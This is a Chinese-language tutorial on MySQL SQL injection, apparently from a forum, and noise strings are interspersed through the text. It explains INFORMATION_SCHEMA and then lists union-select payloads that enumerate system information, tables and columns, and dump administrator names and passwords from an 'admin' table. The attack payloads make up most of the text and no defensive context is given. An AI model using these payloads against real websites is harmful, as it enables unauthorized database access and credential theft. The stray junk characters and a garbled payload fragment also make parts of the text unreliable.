本文介绍MYSQL盲注的一些语句和方法: L6 I: E5 b% J. _
6 {) I3 o" a! F% O( l: k K
学习盲注前先了解下 IFORMATION_SCHEMA 库
- r; I$ s* H u c$ V- X8 t" W
' f" z2 [4 }1 e0 |9 QMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有
3 g# z! i4 L" F& ~9 e! h8 R存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。/ F6 g0 X$ G" X4 q
1.得到所有数据库名:0 L& v* t: v9 Y6 u/ \
|SCHEMATA ->存储数据库名的表
$ P+ s, A4 {3 ]1 o" a$ u2 T|---字段:SCHEMA_NAME ->数据库名称
; K! L# T; E9 \. u1 V1 H$ @* g) Q. d2 d( B
|TABLES ->存储表名
# Z7 | N& w* s; ?8 E) X' y h7 I1 [|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名
1 ?0 P9 H9 L& N2 ?5 Q2 P|---字段:TABLE_NAME ->存储表的表名$ y5 Y) J- b: h4 t
9 u( O- o6 e2 r! h|COLUMNS ->存储的字段名表
: M( }* a% C' e5 a0 d|---字段:TABLE_SCHEMA ->该字段所属数据库名
( ^2 z; H) \* N5 [& P" R|---字段:TABLE_NAME ->存储所属表的名称
% ~1 P* @* [0 p; n- E+ k+ W" w8 }9 H- |2 \5 I; E' h
|---字段:COLUMN_NAME ->该字段的名称
( \. t) ]! d- _
( M1 Z2 c, m _ t) U
! j' v [2 ?$ Q) L0 h& K* l8 W6 n9 `# I6 Q
############################################################################ S6 _2 N( @, i
' M0 r% u/ K. G! }, D( ~
0x001 获取系统信息:
$ `2 W: d a6 |# _- A
& o3 k& F2 [$ u; T# H% c/ runion select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*7 k) \- t% ]" q- o O+ X" G d
, V" W- u% W, H( @
/*& D$ h+ ]2 ?+ T8 w- |6 m3 ^
; K9 N9 I( f% y: I9 I( z
@@global.version_compile_os 获取系统版本/ `7 p" l* R+ Y
6 x3 n3 d+ ]# E$ |! P$ K8 b% Z, F
@@datadir 数据库路径3 E6 J/ q% N( m( u: [% n- ~
database() 当前数据库名称/ f2 M/ M2 ~% t
0x3c62723e 换行HEX值
( `# L3 _6 i! Y9 [: v4 \$ f% T' j; z8 R4 W! p4 {3 P2 }+ Q% k
*/
" ~ z1 d$ t/ D# R( l9 U, F9 I( A, E* _) E' F8 L7 g
F2 n6 R+ Z! u) a |& \1 z( i6 {
% C$ R2 d* s; Y3 x [9 \ Y$ N5 {& b
######################################################################
7 E2 W# v2 j: w2 q$ q d+ z" l: y& D. [7 H& ?
0x002 获取表名1 y: m5 N' C" g
* ]8 d: Y; l# a m: r2 `
union select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /* B. K; d) o8 F) v+ _, ^
- J3 h; ^" L; W- [# x8 m& i0 {
7 y' K8 b( {) P# h: [ G0 @! J F7 E2 I$ Q' ^
/*
0 H& e% c1 ]' w& ~
7 v# F# W5 R; t* C) @& z0x67617264656e 为当前数据库名- P5 z, q+ |0 r7 A% H0 r. P
6 G! G! W- e- j( x, l: ]group_concat(table_name) 使用group_concat函数 一步获得该库所有表名, H' |8 F% Z: M6 `8 J
: Z4 C4 T! s; L: W
*/
5 k: k1 C* v- ?: c/ o% P% }" e2 X6 g; y8 m) t
######################################################################
8 v$ @6 F3 j' d, I5 @/ q: h+ S3 s ^# ~ W; v6 g0 e6 I# g
$ J* A& g) v: j6 u6 l! P+ S/ P! J
, J' R, @" H. [* F9 O D9 X0x003 获取字段* k5 l0 |) {/ {& i
# D! y- Q* Z2 b' I. z1 V7 m8 f7 F
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*6 e, O: [# V; f5 z: r
( ~. u# Y: b+ p l% l/ A/*, J; [; U: O9 a; `6 [/ W
& A9 N% Q% I8 }9 G7 i5 ogroup_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段: S: o$ m- \8 u: X+ \' _
& a5 O5 p- q) m: P7 `# s
0x61646d696e ->选择一个表
% V2 p9 _, k0 b! j8 e' C5 O# t3 k. h2 f [" ^2 t2 E
0x67617264656e ->数据库名
! U- ~3 o' N! D8 k% F0 Y6 L/ w; g0 k7 D0 ^ j' u
*/( ^% |& C% }! {+ l/ j. ]
: h, n' B5 |" y' J* _, K
#####################################################################
. c1 R( }, D* ^2 c3 P( G" P( h) s. u8 l# g1 h1 `1 E$ C3 m2 n. t' g
+ c( C. o* u4 i: a2 V& V
* q) P+ F% l& u: @& W k1 I0x004 获取数据9 l7 |# X8 n" j! z+ a$ Q7 X
5 ^! [ g. U- L
union select 1,2,3
& h9 L/ [ ]4 h; g# B+ k,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
. R( Y \" k( b5 s
* ^* ^ C% Y7 z4 xunion select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin w2 i. h! H' t+ D6 K) {8 H
+ T* b, s# f* s3 ]% `
; X; _" \* @- V# H. u8 b; f- K$ p3 P6 o* u
/*
3 J% H5 {1 O0 Q1 ?2 \
7 s) m4 c& u$ Q8 p5 c5 P0x3c62723e 换行符号HEX编码
( W& ?8 Z2 x0 X7 Z6 H% a5 ?8 F2 c/ z* ?, W8 s
group_concat 同时获得该字段所有数据# J7 m m* @1 S4 I
& I; i8 {, l: ]. [, F& l) y5 ]
*// |+ s0 O- Q- v& G3 t' ~' e g
% s$ \/ Q! F6 _, Y/ `" Y2 ]* m& @2 _ |